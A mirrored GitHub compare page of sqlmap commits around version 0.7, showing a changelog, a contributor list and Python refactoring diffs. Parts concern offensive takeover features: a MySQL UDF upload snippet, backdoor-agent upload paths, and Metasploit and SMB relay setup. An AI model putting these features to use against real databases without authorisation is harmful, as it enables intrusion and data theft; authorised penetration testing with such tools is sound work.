mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
59 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2c98c11e80 | ||
|
|
45e3ce798f | ||
|
|
d905e5ef9f | ||
|
|
576cc97742 | ||
|
|
b2b2ec8a26 | ||
|
|
3d4bfb3263 | ||
|
|
b4fd71e8b9 | ||
|
|
8096a37940 | ||
|
|
cb3d2bac16 | ||
|
|
516fdb9356 | ||
|
|
24a3a23159 | ||
|
|
4b622ed860 | ||
|
|
0fc4587f02 | ||
|
|
ba2e009fd9 | ||
|
|
bc31bd1dd9 | ||
|
|
fd7de4bbb8 | ||
|
|
3b9303186e | ||
|
|
e5a01d500e | ||
|
|
32067cb676 | ||
|
|
03a6739fbf | ||
|
|
150abc0f1e | ||
|
|
3bca0d4b28 | ||
|
|
5ac2b0658c | ||
|
|
cfd8a83655 | ||
|
|
966f34f381 | ||
|
|
c7b72abc0e | ||
|
|
02f6425db8 | ||
|
|
93ee4a01e5 | ||
|
|
81d1a767ac | ||
|
|
8e7282f7c7 | ||
|
|
440a52b84d | ||
|
|
37d3b3adda | ||
|
|
13de8366d0 | ||
|
|
f7ee4d578e | ||
|
|
ef3846e0de | ||
|
|
45dff4a00a | ||
|
|
b463205544 | ||
|
|
06cc2a6d70 | ||
|
|
a727427299 | ||
|
|
c5d20b8a86 | ||
|
|
f3e8d6db70 | ||
|
|
ccedadd780 | ||
|
|
e8c115500d | ||
|
|
722ca8bf2f | ||
|
|
57b8bb4c8e | ||
|
|
58f3eee390 | ||
|
|
1d7de719b9 | ||
|
|
16b4530bbe | ||
|
|
5121a4dcba | ||
|
|
406d5df195 | ||
|
|
546a6c32e3 | ||
|
|
6f4035938b | ||
|
|
06e8546177 | ||
|
|
eeb34eb028 | ||
|
|
4ce74764b7 | ||
|
|
aec2419410 | ||
|
|
1af6898618 | ||
|
|
69259c5984 | ||
|
|
8e88b32274 |
@@ -1,3 +1,27 @@
|
||||
sqlmap (0.7-1) stable; urgency=low
|
||||
|
||||
* Adapted Metasploit wrapping functions to work with latest 3.3
|
||||
development version too.
|
||||
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
|
||||
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
|
||||
--os-bof is selected) when running under Windows because msfconsole
|
||||
and msfcli are not supported on the native Windows Ruby interpreter.
|
||||
This make sqlmap 0.7 to work again on Windows too.
|
||||
* Minor improvement so that sqlmap tests also all parameters with no
|
||||
value (eg. par=).
|
||||
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
|
||||
2.6+.
|
||||
* Major bug fix to sql-query/sql-shell features.
|
||||
* Major bug fix in --read-file option.
|
||||
* Major silent bug fix to multi-threading functionality.
|
||||
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
|
||||
queries are not supported and --os-shell is provided.
|
||||
* Fixed MySQL 'comment injection' version fingerprint.
|
||||
* Fixed basic Microsoft SQL Server 2000 fingerprint.
|
||||
* Many minor bug fixes and code refactoring.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
|
||||
|
||||
sqlmap (0.7rc1-1) stable; urgency=low
|
||||
|
||||
* Added support to execute arbitrary commands on the database server
|
||||
|
||||
1187
doc/README.html
1187
doc/README.html
File diff suppressed because it is too large
Load Diff
8715
doc/README.pdf
8715
doc/README.pdf
File diff suppressed because it is too large
Load Diff
1175
doc/README.sgml
1175
doc/README.sgml
File diff suppressed because it is too large
Load Diff
33
doc/THANKS
33
doc/THANKS
@@ -5,6 +5,9 @@ Chip Andrews <chip@sqlsecurity.com>
|
||||
at SQLSecurity.com and permission to implement the update feature
|
||||
taking data from his site
|
||||
|
||||
Simon Baker <simonb@sec-1.com>
|
||||
for reporting some bugs
|
||||
|
||||
Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
for starting sqlmap project and developing it between July and August
|
||||
2006
|
||||
@@ -23,9 +26,18 @@ Karl Chen <quarl@cs.berkeley.edu>
|
||||
for providing with the multithreading patch for the inference
|
||||
algorithm
|
||||
|
||||
Pierre Chifflier <pollux@debian.org>
|
||||
for uploading the sqlmap 0.6.2 Debian package to the official Debian
|
||||
project repository
|
||||
Y P Chien <ypchien@cox.net>
|
||||
for reporting a minor bug
|
||||
|
||||
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
|
||||
for uploading and accepting the sqlmap Debian package to the official
|
||||
Debian project repository
|
||||
|
||||
Ulises U. Cune <ulises2k@gmail.com>
|
||||
for reporting a bug
|
||||
|
||||
Alessandro Curio <alessandro.curio@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Stefano Di Paola <stefano.dipaola@wisec.it>
|
||||
for suggesting good features
|
||||
@@ -57,6 +69,9 @@ Ivan Giacomelli <truemilk@insiberia.net>
|
||||
for suggesting a minor enhancement
|
||||
for reviewing the documentation
|
||||
|
||||
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
|
||||
for providing me with a minor patch
|
||||
|
||||
Davide Guerri <d.guerri@caspur.it>
|
||||
for suggesting an enhancement
|
||||
|
||||
@@ -71,6 +86,12 @@ Will Holcomb <wholcomb@gmail.com>
|
||||
for his MultipartPostHandler class to handle multipart POST forms and
|
||||
permission to include it within sqlmap source code
|
||||
|
||||
Daniel Hückmann <sanitybit@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Mounir Idrassi <mounir.idrassi@idrix.net>
|
||||
for his compiled version of UPX for Mac OS X
|
||||
|
||||
Luke Jahnke <luke.jahnke@gmail.com>
|
||||
for reporting a bug when running against MySQL < 5.0
|
||||
|
||||
@@ -80,6 +101,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
|
||||
Alexander Kornbrust <ak@red-database-security.com>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Nicolas Krassas <krasn@ans.gr>
|
||||
for reporting a bug
|
||||
|
||||
Guido Landi <lists@keamera.org>
|
||||
for the great technical discussions
|
||||
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
||||
@@ -88,9 +112,10 @@ Guido Landi <lists@keamera.org>
|
||||
|
||||
Nico Leidecker <nico@leidecker.info>
|
||||
for providing me with feedback on a few features
|
||||
for reporting a couple of bugs
|
||||
|
||||
Gabriel Lima <pato@bugnet.com.br>
|
||||
for reporting a bug
|
||||
for reporting a couple of bugs
|
||||
|
||||
Pavol Luptak <pavol.luptak@nethemba.com>
|
||||
for reporting a bug when injecting on a POST data parameter
|
||||
|
||||
@@ -47,6 +47,7 @@ UPDATE udftest SET data=CONCAT(data,0x000000000000000004000000000000006500000001
|
||||
-- Note that /TODO/plugin DOES NOT
|
||||
-- exist by default so it is NOT possible to save the SO in the proper
|
||||
-- folder where MySQL server looks for SOs.
|
||||
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
|
||||
--
|
||||
-- References:
|
||||
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
|
||||
@@ -63,8 +63,8 @@ class Magic:
|
||||
def __del__(self):
|
||||
try:
|
||||
magic_close(self.cookie)
|
||||
except Exception, e:
|
||||
print "got thig: ", e
|
||||
except Exception, _:
|
||||
pass
|
||||
|
||||
|
||||
_magic_mime = None
|
||||
|
||||
BIN
lib/contrib/upx/macosx/upx
Executable file
BIN
lib/contrib/upx/macosx/upx
Executable file
Binary file not shown.
@@ -27,7 +27,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.controller.action import action
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
@@ -295,9 +294,9 @@ def checkStability():
|
||||
infoMsg = "testing if the url is stable, wait a few seconds"
|
||||
logger.info(infoMsg)
|
||||
|
||||
firstPage, firstHeaders = Request.queryPage(content=True)
|
||||
firstPage, _ = Request.queryPage(content=True)
|
||||
time.sleep(1)
|
||||
secondPage, secondHeaders = Request.queryPage(content=True)
|
||||
secondPage, _ = Request.queryPage(content=True)
|
||||
|
||||
condition = firstPage == secondPage
|
||||
|
||||
|
||||
@@ -36,7 +36,6 @@ from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapNotVulnerableException
|
||||
from lib.core.session import setInjection
|
||||
from lib.core.target import createTargetDirs
|
||||
@@ -105,7 +104,6 @@ def start():
|
||||
logger.info(infoMsg)
|
||||
|
||||
hostCount = 0
|
||||
receivedCookies = []
|
||||
cookieStr = ""
|
||||
setCookieAsInjectable = True
|
||||
|
||||
|
||||
@@ -33,7 +33,6 @@ from lib.core.data import kb
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
|
||||
|
||||
class Agent:
|
||||
@@ -284,10 +283,6 @@ class Agent:
|
||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||
fieldsToCastList = fieldsToCastList.split(",")
|
||||
|
||||
# TODO: really needed?!
|
||||
#if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
# fieldsSelectFrom = None
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||
|
||||
|
||||
|
||||
@@ -43,6 +43,7 @@ from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
@@ -86,7 +87,6 @@ def paramToDict(place, parameters=None):
|
||||
|
||||
if condition:
|
||||
value = elem[1]
|
||||
if value:
|
||||
testableParameters[parameter] = value
|
||||
|
||||
if conf.testParameter and not testableParameters:
|
||||
@@ -141,9 +141,9 @@ def formatDBMSfp(versions=None):
|
||||
|
||||
|
||||
def formatFingerprintString(values, chain=" or "):
|
||||
string = "|".join([v for v in values])
|
||||
strJoin = "|".join([v for v in values])
|
||||
|
||||
return string.replace("|", chain)
|
||||
return strJoin.replace("|", chain)
|
||||
|
||||
|
||||
def formatFingerprint(target, info):
|
||||
@@ -224,73 +224,94 @@ def getHtmlErrorFp():
|
||||
|
||||
|
||||
def getDocRoot():
|
||||
"""
|
||||
This method returns the web application document root based on the
|
||||
detected absolute files paths in the knowledge base.
|
||||
"""
|
||||
|
||||
docRoot = None
|
||||
pagePath = os.path.dirname(conf.path)
|
||||
|
||||
if kb.os == "Windows":
|
||||
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
||||
else:
|
||||
defaultDocRoot = "/var/www/"
|
||||
|
||||
if kb.absFilePaths:
|
||||
logMsg = "retrieved the possible injectable "
|
||||
logMsg += "file absolute system paths: "
|
||||
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the injectable file "
|
||||
warnMsg += "absolute system path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
for absFilePath in kb.absFilePaths:
|
||||
if conf.path in absFilePath:
|
||||
index = absFilePath.index(conf.path)
|
||||
absFilePathWin = None
|
||||
|
||||
if re.search("([\w]\:[\/\\\\]+)", absFilePath):
|
||||
absFilePathWin = absFilePath
|
||||
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||
|
||||
absFilePath = os.path.normpath(absFilePath)
|
||||
|
||||
if pagePath in absFilePath:
|
||||
index = absFilePath.index(pagePath)
|
||||
docRoot = absFilePath[:index]
|
||||
|
||||
if absFilePathWin:
|
||||
docRoot = "C:/%s" % docRoot.replace("\\", "/")
|
||||
|
||||
break
|
||||
|
||||
if docRoot:
|
||||
logMsg = "retrieved the remote web server "
|
||||
logMsg += "document root: '%s'" % docRoot
|
||||
logger.info(logMsg)
|
||||
infoMsg = "retrieved the web server document root: '%s'" % docRoot
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the remote web server "
|
||||
warnMsg += "document root"
|
||||
warnMsg = "unable to retrieve the web server document root"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
message = "please provide the web server document root "
|
||||
message += "[%s]: " % defaultDocRoot
|
||||
inputDocRoot = readInput(message, default=defaultDocRoot)
|
||||
|
||||
if inputDocRoot:
|
||||
docRoot = inputDocRoot
|
||||
else:
|
||||
docRoot = defaultDocRoot
|
||||
|
||||
return docRoot
|
||||
|
||||
|
||||
def getDirectories():
|
||||
"""
|
||||
This method calls a function that returns the web application document
|
||||
root and injectable file absolute system path.
|
||||
|
||||
@return: a set of paths (document root and absolute system path).
|
||||
@rtype: C{set}
|
||||
@todo: replace this function with a site crawling functionality.
|
||||
"""
|
||||
|
||||
def getDirs():
|
||||
directories = set()
|
||||
|
||||
kb.docRoot = getDocRoot()
|
||||
if kb.os == "Windows":
|
||||
defaultDir = "C:/Inetpub/wwwroot/test/"
|
||||
else:
|
||||
defaultDir = "/var/www/test/"
|
||||
|
||||
if kb.docRoot:
|
||||
directories.add(kb.docRoot)
|
||||
if kb.absFilePaths:
|
||||
infoMsg = "retrieved web server full paths: "
|
||||
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||
logger.info(infoMsg)
|
||||
|
||||
pagePath = re.search("^/(.*)/", conf.path)
|
||||
for absFilePath in kb.absFilePaths:
|
||||
if absFilePath:
|
||||
directories.add(os.path.dirname(absFilePath))
|
||||
else:
|
||||
warnMsg = "unable to retrieve any web server path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if kb.docRoot and pagePath:
|
||||
pagePath = pagePath.groups()[0]
|
||||
message = "please provide any additional web server full path to try "
|
||||
message += "to upload the agent [%s]: " % defaultDir
|
||||
inputDirs = readInput(message, default=defaultDir)
|
||||
|
||||
directories.add("%s/%s" % (kb.docRoot, pagePath))
|
||||
if inputDirs:
|
||||
inputDirs = inputDirs.replace(", ", ",")
|
||||
inputDirs = inputDirs.split(",")
|
||||
|
||||
for inputDir in inputDirs:
|
||||
if inputDir:
|
||||
directories.add(inputDir)
|
||||
else:
|
||||
directories.add(defaultDir)
|
||||
|
||||
return directories
|
||||
|
||||
|
||||
def filePathToString(filePath):
|
||||
string = filePath.replace("/", "_").replace("\\", "_")
|
||||
string = string.replace(" ", "_").replace(":", "_")
|
||||
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
||||
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
||||
|
||||
return string
|
||||
return strRepl
|
||||
|
||||
|
||||
def dataToStdout(data):
|
||||
@@ -326,18 +347,18 @@ def dataToOutFile(data):
|
||||
return rFilePath
|
||||
|
||||
|
||||
def strToHex(string):
|
||||
def strToHex(inpStr):
|
||||
"""
|
||||
@param string: string to be converted into its hexadecimal value.
|
||||
@type string: C{str}
|
||||
@param inpStr: inpStr to be converted into its hexadecimal value.
|
||||
@type inpStr: C{str}
|
||||
|
||||
@return: the hexadecimal converted string.
|
||||
@return: the hexadecimal converted inpStr.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
hexStr = ""
|
||||
|
||||
for character in string:
|
||||
for character in inpStr:
|
||||
if character == "\n":
|
||||
character = " "
|
||||
|
||||
@@ -457,17 +478,17 @@ def randomStr(length=5, lowercase=False):
|
||||
return rndStr
|
||||
|
||||
|
||||
def sanitizeStr(string):
|
||||
def sanitizeStr(inpStr):
|
||||
"""
|
||||
@param string: string to sanitize: cast to str datatype and replace
|
||||
@param inpStr: inpStr to sanitize: cast to str datatype and replace
|
||||
newlines with one space and strip carriage returns.
|
||||
@type string: C{str}
|
||||
@type inpStr: C{str}
|
||||
|
||||
@return: sanitized string
|
||||
@return: sanitized inpStr
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
cleanString = str(string)
|
||||
cleanString = str(inpStr)
|
||||
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
||||
|
||||
return cleanString
|
||||
@@ -483,8 +504,8 @@ def checkFile(filename):
|
||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||
|
||||
|
||||
def replaceNewlineTabs(string):
|
||||
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||
def replaceNewlineTabs(inpStr):
|
||||
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||
|
||||
return replacedString
|
||||
@@ -760,11 +781,13 @@ def pollProcess(process):
|
||||
|
||||
returncode = process.poll()
|
||||
|
||||
if returncode != None:
|
||||
if returncode is not None:
|
||||
if returncode == 0:
|
||||
dataToStdout(" done\n")
|
||||
else:
|
||||
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
|
||||
elif returncode < 0:
|
||||
dataToStdout(" process terminated by signal %d\n" % returncode)
|
||||
elif returncode > 0:
|
||||
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
|
||||
|
||||
break
|
||||
|
||||
@@ -806,3 +829,22 @@ def getCharset(charsetType=None):
|
||||
asciiTbl.extend(range(96, 123))
|
||||
|
||||
return asciiTbl
|
||||
|
||||
|
||||
def searchEnvPath(fileName):
|
||||
envPaths = os.environ["PATH"]
|
||||
result = None
|
||||
|
||||
if IS_WIN is True:
|
||||
envPaths = envPaths.split(";")
|
||||
else:
|
||||
envPaths = envPaths.split(":")
|
||||
|
||||
for envPath in envPaths:
|
||||
envPath = envPath.replace(";", "")
|
||||
result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName)))
|
||||
|
||||
if result == True:
|
||||
break
|
||||
|
||||
return result
|
||||
|
||||
@@ -23,13 +23,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
try:
|
||||
import md5
|
||||
import sha
|
||||
except DeprecationWarning, _:
|
||||
from hashlib import md5
|
||||
from hashlib import sha
|
||||
|
||||
import md5
|
||||
import sha
|
||||
import struct
|
||||
import urllib
|
||||
|
||||
|
||||
@@ -134,6 +134,11 @@ class Dump:
|
||||
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
if not isinstance(dbTables, dict):
|
||||
self.string("tables", dbTables)
|
||||
|
||||
return
|
||||
|
||||
maxlength = 0
|
||||
|
||||
for tables in dbTables.values():
|
||||
@@ -251,16 +256,18 @@ class Dump:
|
||||
info = tableValues[column]
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(column))
|
||||
|
||||
self.__write("| %s%s" % (column, blank), n=False)
|
||||
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||
else:
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|\n%s" % separator)
|
||||
|
||||
if not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
@@ -279,14 +286,15 @@ class Dump:
|
||||
blank = " " * (maxlength - len(value))
|
||||
self.__write("| %s%s" % (value, blank), n=False)
|
||||
|
||||
if field == fields:
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||
else:
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|")
|
||||
|
||||
if not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
|
||||
@@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import PYVERSION
|
||||
from lib.core.settings import VERSION
|
||||
|
||||
@@ -31,8 +31,6 @@ import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
@@ -42,8 +40,6 @@ from lib.core.common import getFileType
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -59,6 +55,9 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
@@ -100,7 +99,17 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
|
||||
reqResList = fread.split("======================================================")
|
||||
|
||||
port = None
|
||||
scheme = None
|
||||
|
||||
for request in reqResList:
|
||||
if scheme is None:
|
||||
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
|
||||
|
||||
if schemePort:
|
||||
scheme = schemePort.group(1)
|
||||
port = schemePort.group(2)
|
||||
|
||||
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
||||
continue
|
||||
|
||||
@@ -134,10 +143,12 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
|
||||
getPostReq = True
|
||||
|
||||
# GET parameters
|
||||
elif "?" in line and "=" in line and ": " not in line:
|
||||
data = line
|
||||
params = True
|
||||
|
||||
# Cookie and Host headers
|
||||
elif ": " in line:
|
||||
key, value = line.split(": ", 1)
|
||||
|
||||
@@ -146,9 +157,16 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
elif key.lower() == "host":
|
||||
host = value
|
||||
|
||||
# POST parameters
|
||||
elif method is not None and method == "POST" and "=" in line:
|
||||
data = line
|
||||
params = True
|
||||
|
||||
if getPostReq and params:
|
||||
if not url.startswith("http"):
|
||||
url = "http://%s%s" % (host, url)
|
||||
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||
scheme = None
|
||||
port = None
|
||||
|
||||
if not kb.targetUrls or url not in addedTargetUrls:
|
||||
kb.targetUrls.add(( url, method, data, cookie ))
|
||||
@@ -252,24 +270,40 @@ def __setMetasploit():
|
||||
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||
return
|
||||
|
||||
debugMsg = "setting the takeover out-of-band functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
msfEnvPathExists = False
|
||||
|
||||
if IS_WIN is True:
|
||||
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
|
||||
warnMsg += "on the native Windows Ruby interpreter. Please "
|
||||
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
|
||||
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
|
||||
warnMsg += "out-of-band features. sqlmap will now continue "
|
||||
warnMsg += "without calling any takeover feature"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.osPwn = None
|
||||
conf.osSmb = None
|
||||
conf.osBof = None
|
||||
|
||||
return
|
||||
|
||||
if conf.osSmb:
|
||||
isAdmin = False
|
||||
|
||||
if "win" in PLATFORM:
|
||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||
isAdmin = True
|
||||
|
||||
elif "linux" in PLATFORM:
|
||||
if "linux" in PLATFORM or "darwin" in PLATFORM:
|
||||
isAdmin = os.geteuid()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||
isAdmin = True
|
||||
|
||||
# TODO: add support for Mac OS X
|
||||
#elif "darwin" in PLATFORM:
|
||||
# pass
|
||||
elif IS_WIN is True:
|
||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||
isAdmin = True
|
||||
|
||||
else:
|
||||
warnMsg = "sqlmap is not able to check if you are running it "
|
||||
@@ -281,18 +315,13 @@ def __setMetasploit():
|
||||
|
||||
isAdmin = True
|
||||
|
||||
if isAdmin != True:
|
||||
errMsg = "you need to run sqlmap as an administrator/root "
|
||||
if isAdmin is not True:
|
||||
errMsg = "you need to run sqlmap as an Administrator/root "
|
||||
errMsg += "user if you want to perform a SMB relay attack "
|
||||
errMsg += "because it will need to listen on a user-specified "
|
||||
errMsg += "SMB TCP port for incoming connection attempts"
|
||||
raise sqlmapMissingPrivileges, errMsg
|
||||
|
||||
debugMsg = "setting the out-of-band functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
msfEnvPathExists = False
|
||||
|
||||
if conf.msfPath:
|
||||
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
||||
@@ -326,12 +355,13 @@ def __setMetasploit():
|
||||
|
||||
envPaths = os.environ["PATH"]
|
||||
|
||||
if "win" in PLATFORM:
|
||||
if IS_WIN is True:
|
||||
envPaths = envPaths.split(";")
|
||||
else:
|
||||
envPaths = envPaths.split(":")
|
||||
|
||||
for envPath in envPaths:
|
||||
envPath = envPath.replace(";", "")
|
||||
condition = os.path.exists(os.path.normpath(envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
||||
@@ -433,8 +463,10 @@ def __setDBMS():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.dbms = conf.dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
@@ -465,8 +497,6 @@ def __setHTTPProxy():
|
||||
if not conf.proxy:
|
||||
return
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
@@ -488,8 +518,8 @@ def __setHTTPProxy():
|
||||
|
||||
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
||||
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
||||
# can't be tunneled over an HTTP proxy natively by Python urllib2
|
||||
# standard library
|
||||
# can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
|
||||
# urllib2 standard library
|
||||
if conf.scheme == "https":
|
||||
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
||||
else:
|
||||
@@ -517,8 +547,6 @@ def __setHTTPAuthentication():
|
||||
errMsg += "but did not provide the type"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
@@ -571,6 +599,9 @@ def __setHTTPMethod():
|
||||
|
||||
|
||||
def __setHTTPExtraHeaders():
|
||||
if conf.hostname:
|
||||
conf.httpHeaders.append(("Host", conf.hostname))
|
||||
|
||||
if conf.headers:
|
||||
debugMsg = "setting extra HTTP headers"
|
||||
logger.debug(debugMsg)
|
||||
@@ -597,6 +628,13 @@ def __defaultHTTPUserAgent():
|
||||
|
||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||
|
||||
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
|
||||
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
|
||||
|
||||
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
|
||||
# updated at March 2009
|
||||
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
||||
|
||||
|
||||
def __setHTTPUserAgent():
|
||||
"""
|
||||
@@ -926,7 +964,12 @@ def __mergeOptions(inputOptions):
|
||||
if inputOptions.configFile:
|
||||
configFileParser(inputOptions.configFile)
|
||||
|
||||
for key, value in inputOptions.__dict__.items():
|
||||
if hasattr(inputOptions, "items"):
|
||||
inputOptionsItems = inputOptions.items()
|
||||
else:
|
||||
inputOptionsItems = inputOptions.__dict__.items()
|
||||
|
||||
for key, value in inputOptionsItems:
|
||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
||||
conf[key] = value
|
||||
|
||||
@@ -943,6 +986,9 @@ def init(inputOptions=advancedDict()):
|
||||
__setConfAttributes()
|
||||
__setKnowledgeBaseAttributes()
|
||||
__cleanupOptions()
|
||||
|
||||
